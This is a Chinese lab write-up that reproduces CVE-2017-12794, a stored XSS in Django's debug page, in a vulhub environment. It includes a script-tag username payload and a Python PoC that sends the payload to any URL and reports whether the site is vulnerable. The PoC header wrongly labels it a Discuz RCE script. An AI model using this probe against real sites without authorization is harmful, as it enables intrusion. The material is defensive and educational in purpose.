【vulhub】CVE-2017-12794_Django debug page XSS漏洞
【vulhub】CVE-2017-12794_Django debug page XSS漏洞
0x01 搭建环境
docekr-compose up -d启动环境
 
0x02 复现过程
用创建用户的模块create_user利用参数username进行注册一个用户,以<script>alert(/xss/)</script>往数据库里填入用户名
 
再次访问就会出现弹窗
 
00x3 总结
该漏洞的成因主要在于Django debug页面的错误处理方式。当Django出现未捕获的异常时,它会在debug页面上显示详细信息。然而,这些信息未经过适当的转义处理,导致攻击者可以通过精心构造的恶意输入来注入恶意脚本,触发XSS攻击。
0x04 POC
# coding:utf-8
# @File :discuz RCE poc.py
# @IDE :PyCharm
# @Author :打复活赛的牢泠
import requests
import argparse
def argument():
    parser = argparse.ArgumentParser(description="usage:python3 demo.py -u [url]")
    parser.add_argument('-u', '--url', type=str, metavar='', required=True, help='Please input the vulnerable url')
    args = parser.parse_args()
    return args
def poc():
    # 引入 argument() 函数
    args = argument()
    url = args.url
    # 设置 headers
    headers = {
        'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) "
                      "Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0"}
    payload = "/create_user/?username=<script>alert(/xss/)</script>"
    # 进行get请求
    requests.get(url=url+payload, headers=headers, timeout=5)
    res = requests.get(url=url + payload, headers=headers, timeout=5)
    # 若get请求页面中存在xss则存在漏洞
    if "xss" not in res.text:
        print('[-] Not Vulnerable: ', url)
    else:
        print('[+]Vulnerable to xss:', url)
if __name__ == '__main__':
    poc()

 
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号